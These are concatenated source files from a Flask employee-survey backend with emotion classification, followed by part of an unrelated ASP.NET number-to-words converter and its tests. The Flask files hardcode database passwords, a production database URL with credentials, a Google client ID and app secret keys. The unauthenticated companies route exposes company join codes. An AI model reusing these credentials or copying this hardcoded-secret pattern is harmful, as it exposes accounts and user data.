__tablename__ = 'users'
def hash_password(self, password):
self.password_hash = pwd_context.encrypt(password)
def verify_password(self, password):
return pwd_context.verify(password, self.password_hash)
@staticmethod
def decode_auth_token(auth_token):
"""
Decodes Auth Token
:param auth_token:
:return: integer|string
"""
try:
payload = jwt.decode(auth_token, app.config.get('SECRET_KEY'))
return payload['sub']
except jwt.ExpiredSignatureError:
return 'Signature expired. Please log in again.'
except jwt.InvalidTokenError:
return 'Invalid token. PLease log in again.'
user_id = db.Column(db.Integer, primary_key=True)
public_id = db.Column(db.String(70), nullable=False, unique=True)
name = db.Column(db.String(70), nullable=False)
email = db.Column(db.String(70), nullable=False, unique=True)
password_hash = db.Column(db.String(255), nullable=False)
role = db.Column(db.String(45), nullable=False)
company_code = db.Column(db.String(70), nullable=True)
def __init__(self, public_id, name, email, role, company_code):
self.name = name
self.public_id = public_id
self.email = email
self.role = role
self.company_code = company_code
<file_sep>from routes import db
import datetime
class SurveyResponse(db.Model):
__tablename__ = 'survey_responses'
response_id = db.Column(db.Integer, primary_key=True)
public_id = db.Column(db.String(70), nullable=False, unique=True)
response = db.Column(db.String(255), nullable=False)
emotion = db.Column(db.String(50), nullable=False)
response1 = db.Column(db.String(255), nullable=False)
emotion1 = db.Column(db.String(50), nullable=False)
response2 = db.Column(db.String(255), nullable=False)
emotion2 = db.Column(db.String(50), nullable=False)
response3 = db.Column(db.String(255), nullable=False)
emotion3 = db.Column(db.String(50), nullable=False)
response4 = db.Column(db.String(255), nullable=False)
emotion4 = db.Column(db.String(50), nullable=False)
response5 = db.Column(db.String(255), nullable=False)
emotion5 = db.Column(db.String(50), nullable=False)
survey_id = db.Column(db.Integer, db.ForeignKey('surveys.survey_id'), nullable=False)
created_at = db.Column(db.Date, nullable=False)
# Relationships
def __init__(self, public_id, response, emotion, response1, emotion1, response2, emotion2, response3, emotion3,
response4, emotion4, response5, emotion5, survey_id):
self.response = response
self.emotion = emotion
self.response1 = response1
self.emotion1 = emotion1
self.response2 = response2
self.emotion2 = emotion2
self.response3 = response3
self.emotion3 = emotion3
self.response4 = response4
self.emotion4 = emotion4
self.response5 = response5
self.emotion5 = emotion5
self.public_id = public_id
self.survey_id = survey_id
self.created_at = datetime.date.today()
<file_sep>import json, os
from flask import Flask, redirect, request, url_for
from flask_sqlalchemy import SQLAlchemy
from flask_login import (LoginManager,
current_user,
login_required,
login_user,
logout_user,)
from oauthlib.oauth2 import WebApplicationClient
import requests
# file imports
from routes import db, app
# Configuration
GOOGLE_CLIENT_ID = os.environ.get("GOOGLE_CLIENT_ID", None)
GOOGLE_CLIENT_SECRET = os.environ.get("GOOGLE_CLIENT_SECRET", None)
GOOGLE_DISCOVERY_URL = (
"https://accounts.google.com/.well-known/openid-configuration"
)<file_sep>alembic==1.1.0
backports.functools-lru-cache==1.5
bcrypt==3.1.7
certifi==2019.9.11
cffi==1.12.3
chardet==3.0.4
cheroot==6.5.7
CherryPy==18.2.0
Click==7.0
Flask==1.1.1
Flask-Bcrypt==0.7.1
Flask-Cors==3.0.9
Flask-JWT-Extended==3.23.0
Flask-Login==0.4.1
Flask-Migrate==2.5.2
Flask-OAuthlib==0.9.5
Flask-Script==2.0.6
Flask-SQLAlchemy==2.4.0
gunicorn==20.0.4
idna==2.8
itsdangerous==1.1.0
jaraco.functools==2.0
Jinja2==2.11.3
joblib==0.14.0
Mako==1.1.0
MarkupSafe==1.1.1
more-itertools==7.2.0
MyApplication==0.1.0
nltk==3.6.5
numpy==1.17.3
oauthlib==2.1.0
pandas==0.25.3
passlib==1.7.1
portend==2.5
# psycopg2==2.8.3
pycparser==2.19
PyJWT==1.7.1
python-dateutil==2.8.0
python-editor==1.0.4
pytz==2019.2
# pywin32==224
requests==2.22.0
requests-oauthlib==1.2.0
scikit-learn==0.20.3
scipy==1.3.1
six==1.12.0
sklearn==0.0
SQLAlchemy==1.3.8
tempora==1.14.1
textblob==0.15.3
urllib3==1.26.5
uuid==1.30
Werkzeug==0.15.6
zc.lockfile==2.0
<file_sep>from flask import Flask, jsonify, url_for, request
from sqlalchemy import func
import pandas as pd
import uuid
from flask_jwt_extended import (create_access_token,
create_refresh_token,
jwt_required,
jwt_refresh_token_required,
get_jwt_identity, get_raw_jwt)
# File imports
from database.survey_response import SurveyResponse
from database.survey import Survey
from database.user import User
from database.company import Company
from routes import app, db, model, clean_text, decode_response
@app.route('/create_response/<public_id>', methods=['POST'])
@jwt_required
def create_response(public_id):
if request.method == 'POST':
email = get_jwt_identity()
user = User.query.filter_by(email=email).first()
if user:
company = Company.query.filter_by(company_code=user.company_code).first()
survey = Survey.query.filter_by(company_id=company.company_id, public_id=public_id).first()
if survey:
request_json = request.get_json()
public_id = str(uuid.uuid4())
response = request_json.get('response')
response1 = request_json.get('response1')
response2 = request_json.get('response2')
response3 = request_json.get('response3')
response4 = request_json.get('response4')
response5 = request_json.get('response5')
survey_id = survey.survey_id
responses = pd.DataFrame([response, response1, response2, response3, response4, response5])
responses = responses.dropna()
data = clean_text(responses)
pred = model.best_estimator_.predict(data)
emotions = decode_response(pred)
emotion_model = []
for emotion in emotions:
emo = emotion
emotion_model.append(emo)
emotion = emotion_model[0]
emotion1 = emotion_model[1]
emotion2 = emotion_model[2]
emotion3 = emotion_model[3]
emotion4 = emotion_model[4]
emotion5 = emotion_model[5]
survey_response = SurveyResponse(public_id, response, emotion, response1, emotion1, response2,
emotion2,
response3, emotion3, response4, emotion4, response5, emotion5,
survey_id)
db.session.add(survey_response)
db.session.commit()
return jsonify({'message': 'Successfully recorded your response'}), 201
else:
return jsonify({'message': 'The survey does not exist'}), 400
else:
return jsonify({'message': 'User is unavailable'}), 400
@app.route('/view_all_responses', methods=['GET'])
@jwt_required
def view_all_responses():
email = get_jwt_identity()
user = User.query.filter_by(email=email, role='manager').first()
if not user:
return jsonify({'message': 'Please login to proceed'}), 404
users = User.query.filter_by(company_code=user.company_code).all()
if not users:
return jsonify({'message': 'Users are not available at the moment'}), 404
users_count = len(users)
company = Company.query.filter_by(company_code=user.company_code).first()
if not company:
return jsonify({'message': 'Company is unavailable'}), 404
surveys = Survey.query.filter_by(company_id=company.company_id).all()
if not surveys:
return jsonify({'message': 'Surveys are unavailable'}), 404
survey_count = len(surveys)
total_responses_count = 0
happiness = 0
hate = 0
sadness = 0
surveys_list = []
for survey in surveys:
survey_hate = 0
survey_happiness = 0
survey_sadness = 0
survey_dict = {}
survey_dict['survey'] = survey.name
survey_dict['public_id'] = survey.public_id
survey_dict['created_at'] = survey.created_at
responses = SurveyResponse.query.filter_by(survey_id=survey.survey_id).all()
if not responses:
return jsonify({'message': 'No responses found'}), 404
responses_count = len(responses)
total_responses_count = total_responses_count + responses_count
for response in responses:
if response.emotion == 'happiness':
happiness = happiness + 1
survey_happiness = survey_happiness + 1
elif response.emotion == 'hate':
hate = hate + 1
survey_hate = survey_hate + 1
elif response.emotion1 == 'sadness':
sadness = sadness + 1
survey_sadness = survey_sadness + 1
if response.emotion1 == 'happiness':
happiness = happiness + 1
survey_happiness = survey_happiness + 1
elif response.emotion1 == 'hate':
hate = hate + 1
survey_hate = survey_hate + 1
elif response.emotion1 == 'sadness':
sadness = sadness + 1
survey_sadness = survey_sadness + 1
if response.emotion2 == 'happiness':
happiness = happiness + 1
survey_happiness = survey_happiness + 1
elif response.emotion2 == 'hate':
hate = hate + 1
survey_hate = survey_hate + 1
elif response.emotion2 == 'sadness':
sadness = sadness + 1
survey_sadness = survey_sadness + 1
if response.emotion3 == 'happiness':
happiness = happiness + 1
survey_happiness = survey_happiness + 1
elif response.emotion3 == 'hate':
hate = hate + 1
survey_hate = survey_hate + 1
elif response.emotion3 == 'sadness':
sadness = sadness + 1
survey_sadness = survey_sadness + 1
if response.emotion4 == 'happiness':
happiness = happiness + 1
survey_happiness = survey_happiness + 1
elif response.emotion4 == 'hate':
hate = hate + 1
survey_hate = survey_hate + 1
elif response.emotion4 == 'sadness':
sadness = sadness + 1
survey_sadness = survey_sadness + 1
if response.emotion5 == 'happiness':
happiness = happiness + 1
survey_happiness = survey_happiness + 1
elif response.emotion5 == 'hate':
hate = hate + 1
survey_hate = survey_hate + 1
elif response.emotion5 == 'sadness':
sadness = sadness + 1
survey_sadness = survey_sadness + 1
survey_dict['survey_happiness'] = survey_happiness
survey_dict['survey_hate'] = survey_hate
survey_dict['survey_sadness'] = survey_sadness
surveys_list.append(survey_dict)
return jsonify({'responses_count': total_responses_count,
'survey_count': survey_count,
'users_count': users_count,
'hate': hate,
'sadness': sadness,
'happiness': happiness,
'surveys_list': surveys_list
}), 200
@app.route('/view_single_survey_responses/<public_id>', methods=['GET'])
@jwt_required
def view_single_survey_responses(public_id):
email = get_jwt_identity()
user = User.query.filter_by(email=email).first()
if user:
company = Company.query.filter_by(company_code=user.company_code).first()
if not company:
return jsonify({'message': 'Company is not available'}), 404
survey = Survey.query.filter_by(company_id=company.company_id, public_id=public_id).first()
if not survey:
return jsonify({'message': 'Survey is not available'}), 404
survey_name = survey.name
created_at = survey.created_at
if survey:
responses = SurveyResponse.query.filter_by(survey_id=survey.survey_id).all()
responses_count = len(responses)
response_list = []
if responses:
happiness = 0
hate = 0
sadness = 0
for response in responses:
response_dict = {
'q0': survey.question_0,
'q1': survey.question_1,
'q2': survey.question_2,
'q3': survey.question_3,
'q4': survey.question_4,
'q5': survey.question_5,
'response': response.response,
'emotion': response.emotion,
'response1': response.response1,
'emotion1': response.emotion1,
'response2': response.response2,
'emotion2': response.emotion2,
'response3': response.response3,
'emotion3': response.emotion3,
'response4': response.response4,
'emotion4': response.emotion4,
'response5': response.response5,
'emotion5': response.emotion5,
}
response_list.append(response_dict)
if response.emotion == 'happiness':
happiness = happiness + 1
elif response.emotion == 'hate':
hate = hate + 1
elif response.emotion1 == 'sadness':
sadness = sadness + 1
if response.emotion1 == 'happiness':
happiness = happiness + 1
elif response.emotion1 == 'hate':
hate = hate + 1
elif response.emotion1 == 'sadness':
sadness = sadness + 1
if response.emotion2 == 'happiness':
happiness = happiness + 1
elif response.emotion2 == 'hate':
hate = hate + 1
elif response.emotion2 == 'sadness':
sadness = sadness + 1
if response.emotion3 == 'happiness':
happiness = happiness + 1
elif response.emotion3 == 'hate':
hate = hate + 1
elif response.emotion3 == 'sadness':
sadness = sadness + 1
if response.emotion4 == 'happiness':
happiness = happiness + 1
elif response.emotion4 == 'hate':
hate = hate + 1
elif response.emotion4 == 'sadness':
sadness = sadness + 1
if response.emotion5 == 'happiness':
happiness = happiness + 1
elif response.emotion5 == 'hate':
hate = hate + 1
elif response.emotion5 == 'sadness':
sadness = sadness + 1
return jsonify({'survey_name': survey_name,
'created_at': created_at,
'hate': hate,
'happiness': happiness,
'sadness': sadness,
'responses_count': responses_count,
'response_list': response_list
}), 200
else:
return jsonify({'message': 'No responses available'}), 404
else:
return jsonify({'message': 'The survey does not exist'}), 404
else:
return jsonify({'message': 'User is unavailable'}), 404
<file_sep>import nltk as nltk
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from flask_cors import CORS, cross_origin
import pickle
import pandas as pd
import numpy as np
from nltk.corpus import stopwords
from textblob import Word
import re
from sklearn import preprocessing
from sklearn.model_selection import train_test_split
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.feature_extraction.text import CountVectorizer
from sklearn.metrics import accuracy_score
from sklearn.pipeline import Pipeline
from sklearn.linear_model import LogisticRegression
from sklearn.model_selection import GridSearchCV
import nltk
import pickle
nltk.download('punkt')
nltk.download('averaged_perceptron_tagger')
from nltk import word_tokenize, sent_tokenize, pos_tag, wordpunct_tokenize
from nltk.corpus import stopwords
import string
nltk.download("stopwords")
nltk.download("wordnet")
from textblob import Word
# Load Model
model = pickle.load(open('./emotion_logreg.pickle', 'rb'))
app = Flask(__name__)
CORS(app)
def clean_text(data):
# remove '\\n'
data = data[0].map(lambda x: re.sub('\\n', ' ', str(x)))
# Making all letters lowercase
data = data.apply(lambda x: " ".join(x.lower() for x in x.split()))
# Removing Punctuation, Symbols
data = data.str.replace('[^\w\s]', ' ')
# Removing Stop Words using NLTK
stop = stopwords.words('english')
data = data.apply(lambda x: " ".join(x for x in x.split() if x not in stop))
# Lemmatisation
data = data.apply(lambda x: " ".join([Word(word).lemmatize() for word in x.split()]))
# remove any text starting with User...
data = data.map(lambda x: re.sub("\[\[User.*", '', str(x)))
# remove IP addresses or user IDs
data = data.map(lambda x: re.sub("\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", '', str(x)))
# remove http links in the text
data = data.map(lambda x: re.sub("(http://.*?\s)|(http://.*)", '', str(x)))
# Correcting Letter Repetitions
def de_repeat(text):
pattern = re.compile(r"(.)\1{2,}")
return pattern.sub(r"\1\1", text)
data = data.apply(lambda x: " ".join(de_repeat(x) for x in x.split()))
return data
def decode_response(response):
emotion_list = []
for emotion in response:
if emotion == 0:
emotion_list.append('happiness')
elif emotion == 1:
emotion_list.append('hate')
elif emotion == 2:
emotion_list.append('sadness')
return emotion_list
# Development database_uri
app.config['SQLALCHEMY_DATABASE_URI'] = "postgresql://postgres:motongoria@127.0.0.1:5432/employee-engagement"
# Production Url
# app.config['SQLALCHEMY_DATABASE_URI'] = "postgres://gbflabtamgibih:545172c3d798f194bb235abbb58def05ad798bb8c43cf7890f5da4fed7e6527e@ec2-54-243-44-102.compute-1.amazonaws.com:5432/d4n2pafqrnnn91"
app.config['SQLALCHEMY_ECHO'] = True
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)
# Import Routes
from routes import base_urls, user_urls, google_login_url, company_urls, survey_urls, survey_responses_url
<file_sep>from routes import db
import datetime
class Survey(db.Model):
__tablename__ = 'surveys'
survey_id = db.Column(db.Integer, primary_key=True)
public_id = db.Column(db.String(70), nullable=False, unique=True)
name = db.Column(db.String(50), nullable=False)
description = db.Column(db.String(150), nullable=False)
question_0 = db.Column(db.String(255), nullable=False)
question_1 = db.Column(db.String(255), nullable=False)
question_2 = db.Column(db.String(255), nullable=False)
question_3 = db.Column(db.String(255), nullable=False)
question_4 = db.Column(db.String(255), nullable=False)
question_5 = db.Column(db.String(255), nullable=False)
created_at = db.Column(db.Date, nullable=False)
company_id = db.Column(db.Integer, db.ForeignKey('companies.company_id'), nullable=False)
# Relationships
survey_responses = db.relationship('SurveyResponse', backref='surveys', lazy=True)
def __init__(self, public_id, name, description, company_id, question_0, question_1, question_2, question_3, question_4, question_5):
self.created_at = datetime.date.today()
self.public_id = public_id
self.name = name
self.description = description
self.company_id = company_id
self.question_0 = question_0
self.question_1 = question_1
self.question_2 = question_2
self.question_3 = question_3
self.question_4 = question_4
self.question_5 = question_5
<file_sep>from flask import Flask, jsonify, url_for, request
import uuid
import jwt
from flask_jwt_extended import jwt_required, get_jwt_identity, get_raw_jwt
# File imports
from database.survey import Survey
from database.user import User
from database.company import Company
from routes import app, db
@app.route('/create_survey', methods=['POST'])
@jwt_required
def create_survey():
if request.method == 'POST':
request_json = request.get_json()
public_id = str(uuid.uuid4())
name = request_json.get('name')
description = request_json.get('description')
email = get_jwt_identity()
user = User.query.filter_by(email=email).first()
if not user.role == 'manager':
return jsonify({'message': 'You are not authorized to create surveys'}), 200
company = Company.query.filter_by(company_code=user.company_code).first()
if not company.company_id:
return jsonify({'message': 'Company does not exist'})
q0 = request_json.get('question0')
q1 = request_json.get('question1')
q2 = request_json.get('question2')
q3 = request_json.get('question3')
q4 = request_json.get('question4')
q5 = request_json.get('question5')
survey = Survey(public_id, name, description, company.company_id, q0, q1, q2, q3, q4, q5)
db.session.add(survey)
db.session.commit()
response_object = {
'message': 'Survey Created successfully',
'name': survey.name,
'description': survey.description,
'public_id': survey.public_id
}
return jsonify(response_object), 200
@app.route('/surveys', methods=['GET'])
@jwt_required
def view_all_surveys():
email = get_jwt_identity()
user = User.query.filter_by(email=email).first()
company = Company.query.filter_by(company_code=user.company_code).first()
if not company:
return jsonify({'message': 'Please join a company to view surveys'}), 404
surveys = Survey.query.filter_by(company_id=company.company_id).all()
if surveys:
surveys_list = []
for survey in surveys:
survey_dict = {
'name': survey.name,
'public_id': survey.public_id,
'description': survey.description,
'company_id': survey.company_id
}
surveys_list.append(survey_dict)
return jsonify(surveys_list), 200
else:
return jsonify({'message': 'No survey available'}), 404
@app.route('/survey/<public_id>', methods=['GET'])
@jwt_required
def view_single_survey(public_id):
if request.method == 'GET':
survey = Survey.query.filter_by(public_id=public_id).first()
if survey:
survey_dict = {
'name': survey.name,
'public_id': survey.public_id,
'description': survey.description,
'company_id': survey.company_id,
'q0': survey.question_0,
'q1': survey.question_1,
'q2': survey.question_2,
'q3': survey.question_3,
'q4': survey.question_4,
'q5': survey.question_5,
}
return jsonify(survey_dict), 200
else:
return jsonify({'message': 'Survey does not exist'}), 404
<file_sep>from routes import db
import datetime
class Company(db.Model):
__tablename__ = 'companies'
company_id = db.Column(db.Integer, primary_key=True)
public_id = db.Column(db.String(70), nullable=False, unique=True)
company_name = db.Column(db.String(50), nullable=False, unique=True)
company_code = db.Column(db.String(70), nullable=False, unique=True)
company_head = db.Column(db.String(70), nullable=False)
company_size = db.Column(db.Integer, nullable=False)
created_at = db.Column(db.Date, nullable=False)
# Relationships
surveys = db.relationship('Survey', backref='companies', lazy=True)
def __init__(self, public_id, company_name, company_code, company_head, company_size):
self.company_name = company_name
self.public_id = public_id
self.company_code = company_code
self.company_head = company_head
self.company_size = company_size
self.created_at = datetime.datetime.today()
<file_sep>from flask import Flask, jsonify, url_for, request
import uuid
from flask_jwt_extended import (jwt_required,
jwt_refresh_token_required,
get_jwt_identity, get_raw_jwt)
# File imports
from database.company import Company
from database.survey import Survey
from database.survey_response import SurveyResponse
from database.user import User
from routes import app, db
@app.route('/register_company', methods=['POST'])
@jwt_required
def register_company():
if request.method == 'POST':
request_json = request.get_json()
public_id = str(uuid.uuid4())
company_name = request_json.get('company_name')
company_code = str(uuid.uuid4())
company_head = request_json.get('company_head')
company_size = request_json.get('company_size')
email = get_jwt_identity()
user = User.query.filter_by(email=email).first()
if user.role == 'admin':
company = Company(public_id, company_name, company_code, company_head, company_size)
db.session.add(company)
db.session.commit()
response_object = {
'public_id': public_id,
'name': company_name,
'head': company_head,
'size': company_size,
'code': company_code
}
return jsonify(response_object), 200
else:
return jsonify({'message': 'You cannot register a company'}), 400
@app.route('/companies', methods=['GET'])
def companies():
companies = Company.query.all()
if not companies:
return jsonify({'message': 'There are no companies available at the moment'}), 400
companies_list = []
for company in companies:
company_dict = {
'name': company.company_name,
'code': company.company_code,
'public_id': company.public_id
}
companies_list.append(company_dict)
return jsonify(companies_list), 200
@app.route('/company/<public_id>', methods=['GET'])
@jwt_required
def company_details(public_id):
company = Company.query.filter_by(public_id=public_id).first()
if company:
response_object = {'name': company.company_name,
'code': company.company_code,
'head': company.company_head,
'size': company.company_size}
return jsonify(response_object), 200
else:
return jsonify({'message': 'Company not found'}), 400
@app.route('/company_surveys/<public_id>', methods=['GET'])
@jwt_required
def company_surveys(public_id):
company = Company.query.filter_by(public_id=public_id).first()
if not company:
return jsonify({'message': 'Company Details are unavailable.'}), 500
surveys = Survey.query.filter_by(company_id=company.company_id).all()
if not surveys:
return jsonify({'message': 'No surveys found'}), 404
survey_list = []
for survey in surveys:
survey_response = SurveyResponse.query.filter_by(survey_id=survey.survey_id).all()
survey_response_dict = {
'response_id': survey_response.response_id,
'public_id': survey_response.public_id,
'survey_id': survey_response.survey_id,
'created_at': survey_response.created_at
}
survey_list.append(survey_response_dict)
return jsonify({'survey_responses': survey_list}), 200
@app.route('/companies', methods=['GET'])
def get_all_companies():
companies = Company.query.all()
if companies:
companies_list = []
for company in companies:
company_dict = {
'name': company.company_name,
'code': company.company_code,
'public_id': company.public_id,
'size': company.company_size,
'head': company.company_head
}
companies_list.append(company_dict)
return jsonify(companies_list), 200
else:
return jsonify({'message': 'No companies found'}), 400
<file_sep># Emotion Analysis based Employee Engagement System-backend
This project is a RESTapi which provide stores surveys and survey responses, and analysis the responses to find the emotion that is present in the response.
The project is built using Flask and uses a Postgresql database to store the data.
## How to install
Clone the project using the following url
`https://github.com/Brian-Munene/engage-backend.git`
## Create a virtual environment
```shell script
$ python3 -m venv venv
$ virtualenv venv
$ source venv/bin/activate ( for linux or mac)
(venv) $ _
or
$ venv\Scripts\activate ( for windows)
(venv) $ _
```
## How to setup
To install all dependencies :
```shell script
pip install -r requirements.txt
```
## How to Run
Open the app directory
```shell script
$ cd app
```
Run the application
```shell script
python run.py
```<file_sep>from flask import Flask
import cherrypy
from routes import app, db
from database.revoked_token import RevokedToken
from flask_jwt_extended import JWTManager
cherrypy.tree.graft(app.wsgi_app, '/')
cherrypy.config.update({'server.socket_host': '127.0.0.1',
'server.socket_port': 5000,
'engine.autoreload.on': False,
})
if __name__ == "__main__":
app.config['SECRET_KEY'] = 'employee-engagement'
app.config['GOOGLE_CLIENT_ID'] = '218366592776-q0aub0931ioo8kpg3802v6ual059m9pn.apps.googleusercontent.com'
app.config['GOOGLE_CLIENT_SECRET'] = '<KEY>'
app.config['JWT_SECRET_KEY'] = 'jwt-employee-engagement'
app.config['JWT_BLACKLIST_ENABLED'] = True
app.config['JWT_BLACKLIST_TOKEN_CHECKS'] = ['access', 'refresh']
jwt = JWTManager(app)
@jwt.token_in_blacklist_loader
def check_if_token_in_blacklist(decrypted_token):
jti = decrypted_token['jti']
return RevokedToken.is_jti_blacklisted(jti)
try:
cherrypy.engine.start()
except KeyboardInterrupt:
cherrypy.log("Blah", traceback=True)
cherrypy.engine.stop()
# Mount the application
# cherrypy.tree.graft(app, "/")
# Unsubscribe from the default server
# cherrypy.server.unsubscribe()
# Instantiate a new server object
# server = cherrypy._cpserver.Server()
# Configure the server object
# server.socket_host = "0.0.0.0"
# server.socket_port = 5000
# server.thread_pool = 30
# For SSL Support
# server.ssl_module = 'pyopenssl'
# server.ssl_certificate = 'ssl/certificate.crt'
# server.ssl_private_key = 'ssl/private.key'
# server.ssl_certificate_chain = 'ssl/bundle.crt'
# server.ssl_module = 'builtin'
# server.ssl_certificate = '/config/fullchain2.pem'
# server.ssl_private_key = '/config/privkey2.pem'
# Subscribe this server
# server.subscribe()
# Start the server engine (Option 1 *and* 2)
# cherrypy.engine.start()
# cherrypy.engine.block()
# app.run(debug=True, port=7001)
| 6b0b76620eafb9eabc0d53a549838c3c51191631 | [
"Markdown",
"Python",
"Text"
] | 14 | Python | Brian-Munene/engage-backend | 0ccf8c997b041b8657576e901d0aead2450e093a | 45743397b2265aa37121368e7874449b50bd85b3 |
refs/heads/master | <repo_name>stevencch/AKQATask<file_sep>/AKQATask/gulpfile.js
/// <binding AfterBuild='default' />
var gulp = require('gulp');
var del = require('del');
var tslint = require('gulp-tslint');
var paths = {
scripts: ['scripts/**/*.js', 'scripts/**/*.ts', 'scripts/**/*.map', 'scripts/**/*.html', 'scripts/**/*.css'],
libs: [
'node_modules/@angular/**/*.umd.js',
// other libraries
'node_modules/rxjs/**/*.js',
'node_modules/zone.js/dist/zone.js',
'node_modules/core-js/client/shim.min.js',
'node_modules/angular-in-memory-web-api/bundles/in-memory-web-api.umd.js',
'node_modules/plugin-typescript/lib/plugin.js',
'node_modules/typescript/lib/typescript.js',
'node_modules/systemjs/dist/system.src.js',
'node_modules/underscore/underscore.js',
]
};
gulp.task('clean', function () {
return del(['wwwroot/js/**/*']);
});
gulp.task('lib', ['clean'], function () {
gulp.src(paths.libs).pipe(gulp.dest(function (file) {
//process.stdout.write(file.base.replace('node_modules','wwwroot/js/lib'));
return file.base.replace('node_modules', 'wwwroot/js/lib');
}));
});
gulp.task('default', ['tslint'], function () {
gulp.src(paths.scripts).pipe(gulp.dest('wwwroot/js'))
});
gulp.task('watch', function () {
return gulp.watch(paths.scripts, ['default']);
});
gulp.task('tslint', function () {
return gulp.src('scripts/**/*.ts')
.pipe(tslint())
.pipe(tslint.report());
});
<file_sep>/AKQATask/Controllers/Api/AppController.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.AspNetCore.Mvc;
using AKQATask.Filters;
using AKQATask.Contract.Models;
using AKQATask.Contract.Interfaces;
using Microsoft.Extensions.Logging;
using Microsoft.Extensions.Localization;
using Microsoft.AspNetCore.Mvc.Localization;
using Microsoft.AspNetCore.Localization;
using System.Net.Http;
using System.Net;
using Newtonsoft.Json;
using System.Text;
using AKQATask.Contract.Exceptions;
// For more information on enabling Web API for empty projects, visit https://go.microsoft.com/fwlink/?LinkID=397860
namespace AKQATask.Controllers.Api
{
[Produces("application/json")]
[Route("api/App")]
[ServiceFilter(typeof(LoggingActionFilter))]
public class AppController : Controller
{
private INumToWordsConvertorFactory numToWordsConvertorFactory;
private readonly ILogger logger;
public AppController(ILogger<AppController> logger, INumToWordsConvertorFactory numToWordsConvertorFactory)
{
this.numToWordsConvertorFactory = numToWordsConvertorFactory;
this.logger = logger;
}
// POST Convert the input data
[HttpPost("convert")]
public async Task<IActionResult> Convert([FromBody]InfoModel info)
{
try
{
if (ModelState.IsValid)
{
var culture = this.HttpContext.Features.Get<IRequestCultureFeature>();
//get convertor based on culture
var numToWordsConvertor = numToWordsConvertorFactory.CreateConvertor(culture.RequestCulture.Culture);
var words = await numToWordsConvertor.ConvertToWords(info.Number);
var result = new ResultModel()
{
Success = true,
Message = "Success",
Result = new InfoModel()
{
Name = info.Name,
Number = words.ToUpper()
}
};
return Ok(result);
}
else
{
logger.LogWarning("Invalid Data");
return BadRequest("Invalid data");
}
}
catch (InvaildNumberException iex)
{
logger.LogWarning(iex.Message);
return BadRequest(iex.Message);
}
catch (Exception ex)
{
logger.LogError("failed to post", ex);
return BadRequest("Server is unavailable, please try again later");
}
}
}
}
<file_sep>/AKQATask/Controllers/HomeController.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.AspNetCore.Mvc;
namespace AKQATask.Controllers
{
public class HomeController : Controller
{
[Route("/")]
[Route("/converter")]
[Route("/info")]
public IActionResult Index()
{
if (Request.Path.HasValue && Request.Path.Value.Length<3)
{
return Redirect("/");
}
return View();
}
public IActionResult Error()
{
return View();
}
}
}
<file_sep>/AKQATask.Contract/AppSettings.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace AKQATask.Contract
{
public class AppSettings
{
public static readonly double MAX_NUMBER = 999999999999.999;
}
}
<file_sep>/AKQATask.Contract/Interfaces/INumToWordsConvertorFactory.cs
using System;
using System.Collections.Generic;
using System.Globalization;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace AKQATask.Contract.Interfaces
{
public interface INumToWordsConvertorFactory
{
INumToWordsConvertor CreateConvertor(CultureInfo culture);
}
}
<file_sep>/AKQATask.Core/Services/AbstractConvertor.cs
using AKQATask.Contract;
using AKQATask.Contract.Exceptions;
using AKQATask.Contract.Interfaces;
using AKQATask.Core.Extentions;
using NLog;
using System;
using System.Collections.Generic;
using System.Globalization;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace AKQATask.Core.Services
{
public abstract class AbstractConvertor : INumToWordsConvertor
{
public abstract Task<string> ConvertToWords(double number);
public async Task<string> ConvertToWords(string number)
{
double value;
number = number.Replace(",", "").Replace(" ", "");
if (double.TryParse(number, NumberStyles.Any, new CultureInfo(EnumCulture.en_US.GetDescription()),out value)){
if (value > AppSettings.MAX_NUMBER)
{
throw new InvaildNumberException($"{number} is over the max value.");
}
var result= await ConvertToWords(value);
return result;
}
else
{
throw new InvaildNumberException($"{number} is invalid.");
}
}
}
}
<file_sep>/AKQATask.Test/NumToWordsTest.cs
using System;
using Microsoft.VisualStudio.TestTools.UnitTesting;
using AKQATask.Contract.Interfaces;
using AKQATask.Core.Services;
using AKQATask.Contract.Exceptions;
namespace AKQATask.Test
{
[TestClass]
public class NumToWordsTest
{
INumToWordsConvertor convertor;
[TestInitialize]
public void Init()
{
convertor = new NumToWordsConvertor();
}
[TestMethod]
[DataRow(-1234567890.12, "minus one billion two hundred and thirty-four million five hundred and sixty-seven thousand eight hundred and ninety dollars and twelve cents")]
[DataRow(0, "zero dollar")]
[DataRow(1, "one dollar")]
[DataRow(2, "two dollars")]
[DataRow(1.01, "one dollar and one cent")]
[DataRow(1.12, "one dollar and twelve cents")]
[DataRow(3.134, "three dollars and thirteen cents")]
[DataRow(4.135, "four dollars and fourteen cents")]
[DataRow(11, "eleven dollars")]
[DataRow(111, "one hundred and eleven dollars")]
[DataRow(1111, "one thousand one hundred and eleven dollars")]
[DataRow(11111, "eleven thousand one hundred and eleven dollars")]
[DataRow(111111, "one hundred and eleven thousand one hundred and eleven dollars")]
[DataRow(1111111, "one million one hundred and eleven thousand one hundred and eleven dollars")]
[DataRow(11111111, "eleven million one hundred and eleven thousand one hundred and eleven dollars")]
[DataRow(111111111, "one hundred and eleven million one hundred and eleven thousand one hundred and eleven dollars")]
[DataRow(1111111111, "one billion one hundred and eleven million one hundred and eleven thousand one hundred and eleven dollars")]
[DataRow(11111111111, "eleven billion one hundred and eleven million one hundred and eleven thousand one hundred and eleven dollars")]
[DataRow(111111111111, "one hundred and eleven billion one hundred and eleven million one hundred and eleven thousand one hundred and eleven dollars")]
public void TestNumberToWords(double input,string output)
{
var actual = convertor.ConvertToWords(input).Result;
Assert.IsTrue(actual== output);
}
[TestMethod]
[DataRow("1,234.12", "one thousand two hundred and thirty-four dollars and twelve cents")]
public void TestNumberStringToWords(string input, string output)
{
var actual = convertor.ConvertToWords(input).Result;
Assert.IsTrue(actual == output);
}
[TestMethod()]
[ExpectedException(typeof(InvaildNumberException))]
[DataRow("abc123", "na")]
[DataRow("1999999999999.999", "na")]
public void TestInvaildNumberException(string input, string output)
{
try
{
var actual = convertor.ConvertToWords(input).Result;
}
